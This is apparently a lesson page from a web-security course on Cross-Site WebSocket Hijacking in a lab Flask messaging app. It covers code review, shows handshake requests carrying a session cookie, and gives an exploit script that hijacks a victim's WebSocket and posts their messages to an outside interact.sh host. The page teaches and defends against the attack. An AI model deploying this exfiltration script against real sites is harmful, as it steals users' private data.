Modern Web Exploitation Techniques  

Cross-Site WebSocket Hijacking (CSWH)


So far, we have discussed typical web vulnerabilities arising from improper sanitization of user input sent via WebSockets. Cross-Site WebSocket Hijacking (CSWH) is a vulnerability resulting from a Cross-Site Request Forgery (CSRF) attack on the WebSocket handshake. Due to the Same-Origin Policy, regular CSRF attacks can only be used to send cross-origin requests but not access the response. However, WebSockets are not as strictly bound by the Same-Origin Policy as traditional HTTP requests; therefore, CSWH attacks can provide an attacker with write and read access to data sent over the WebSocket connection.

We will not discuss CSRF attacks basics; refer to the Session Security module for more on it.


Code Review - Identifying the Vulnerability

This section's sample web application is a variation of the previous one; however, we must first log in to view our messages. Instead of sending our username directly via the WebSocket connection, the web application retrieves and displays all messages for the logged-in user.

Firstly, let's have a look at the database queries:

def login(username, password):
    mydb = mysql.connector.connect(
        host="127.0.0.1",
        user="db",
        password="db-password",
        database="db"
    )

    mycursor = mydb.cursor(prepared=True)
    query = 'SELECT * FROM users WHERE username=%s AND password=%s'
    mycursor.execute(query, (username, password))
    return mycursor.fetchone()

def fetch_messages(username):
    mydb = mysql.connector.connect(
        host="127.0.0.1",
        user="db",
        password="db-password",
        database="db"
    )

    mycursor = mydb.cursor(prepared=True)
    query = 'SELECT message FROM messages WHERE username=%s'
    mycursor.execute(query, (username,))
    return mycursor.fetchall()

The application correctly uses prepared statements, so a SQLi vulnerability is impossible. Let's move on to the login endpoint to analyze how the web application determines if a user is logged in or not:

@app.route('/', methods=['GET', 'POST'])
def index_route():
    if session.get('logged_in'):
        return render_template('home.html', user=session.get('user'))

    if request.method == 'GET':
        return render_template('index.html')

    username = request.form.get('username', '')
    password = request.form.get('password', '')

    if login(username, password):
        session['logged_in'] = True
        session['user'] = username
        return redirect(url_for('index_route'))

    return render_template('index.html', error="Incorrect Details")

We can see that the web application sets the two session variables logged_in and user upon a successful login by the user. In Flask, these session variables are associated with the session cookie sent by the user. Finally, let's move on to the WebSocket endpoint:

@sock.route('/messages')
def messages(sock):
    if not session.get('logged_in'):
        sock.send('{"error":"Unauthorized"}')
        return

    while True:
        response = {}

        try:
            data = sock.receive(timeout=1)
            if not data == '!get_messages':
                continue
            
            username = session.get('user', '')
            messages = fetch_messages(username)

            if not messages:
                response['error'] = "No messages for this user!"
            else:  
                response['messages'] = [msg[0] for msg in messages]

            sock.send(json.dumps(response))

        except Exception as e:
            response['error'] = "An error occured!"
            sock.send(json.dumps(response))

Here, we can see that the endpoint can only be accessed when the user is logged in, i.e., when the logged_in session variable is set. Furthermore, the server fetches the messages for the username set in the user session variable upon receiving the message !get_messages from the client via the WebSocket connection.

The server uses the session variables for user authentication; therefore, the WebSocket endpoint uses the session cookie for authenticating users. However, there are no additional protections to protect from CSRF attacks, such as checking for CSRF tokens or validating the Origin header. Therefore, the web application is vulnerable to CSRF attacks on the WebSocket handshake, most prominently, CSWH attacks.


Debugging the Code Locally

Locally running the web application allows us to verify the CSWH vulnerability. After logging in with our htb-stdnt account, we can check our messages:

As we learned from the source code, when intercepting the messages sent over the WebSocket connection, we can see the !get_messages message sent from the client and the response from the server:

image

The WebSocket handshake request contains the Flask session cookie, which is used by the web application for authentication, as we can see in the following request to establish the WebSocket connection:

GET /messages HTTP/1.1
Host: 172.17.0.2:80
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Upgrade: websocket
Origin: http://172.17.0.2:80
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXIiOiJodGItc3RkbnQifQ.ZEQwlQ.ZoJ2yDD1Ujx5wzp54vXWN97j1LM
Sec-WebSocket-Key: tVXWWL8gHBYaiixIRZvehw==


We can initiate a new WebSocket connection and provide a different Origin header to confirm the vulnerability, imitating a cross-origin request. If it suffices to provide only our user's session cookie for successful authentication, the request is vulnerable to CSRF and, therefore, CSWH. We can initiate a new WebSocket connection with the following request:

GET /messages HTTP/1.1
Host: 172.17.0.2:80
Connection: Upgrade
Upgrade: websocket
Origin: http://crossdomain.htb
Sec-WebSocket-Version: 13
Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXIiOiJodGItc3RkbnQifQ.ZEQwlQ.ZoJ2yDD1Ujx5wzp54vXWN97j1LM
Sec-WebSocket-Key: 7QpTshdCiQfiv3tH7myJ1g==


If we now send the message !get_messages via the WebSocket connection, the server responds with the messages for our user just like it did before, thus proving a CSWH vulnerability.


Exploitation

To exploit the CSWH vulnerability, we will write malicious code and host it on a site we control. When a victim logs in to the web application vulnerable to CSWH and visits our site, the malicious code sends the WebSocket handshake message cross-origin. Subsequently, the user's browser sends the user's session cookie along with the request, establishing the WebSocket connection as the authenticated user. Because WebSockets are not protected by the Same-Origin policy, our exploit code has full access to the WebSocket connection in the context of the authenticated victim; therefore, we can send messages to the server impersonating the victim and read the server's responses.

Below is an example exploit that sends the !get_messages message via the WebSocket connection and extracts any received messages using interact.sh:

<script>
  function send_message(event){
    socket.send('!get_messages');
  };

  const socket = new WebSocket('ws://172.17.0.2:80/messages');
  socket.onopen = send_message;
  socket.addEventListener('message', ev => {
    fetch('http://ch23a202vtc0000138p0getbibyyyyyyb.oast.fun/', {method: 'POST', mode: 'no-cors', body: ev.data});
  });
</script>

After hosting the exploit code on a website under our control, for example, cwshpayload.htb, the attack chain works as follows:

  • The admin user of the vulnerable web application visits cwshpayload.htb.
  • The exploit code runs, creating the WebSocket connection to the vulnerable site in the context of the admin user and exfiltrates the admin's messages to interact.sh.

Note: For this exploit to work, the SameSite cookie flag must be set to None. Since most browsers apply a default value of Lax if the SameSite cookie attribute is not set, the attack's success would require a deliberately insecure configuration by the web application administrator.

In our example, we only need to send a single message to the server and exfiltrate a single WebSocket message. In real-world scenarios, we might need to send multiple messages to the server and react dynamically to the web server's messages. However, this is not a problem since the Same-Origin policy does not apply.

Due to browsers' default behavior of the SameSite cookie attribute, exploitation of CSWH vulnerabilities becomes increasingly more challenging.

Previous

+10 Streak pts

Next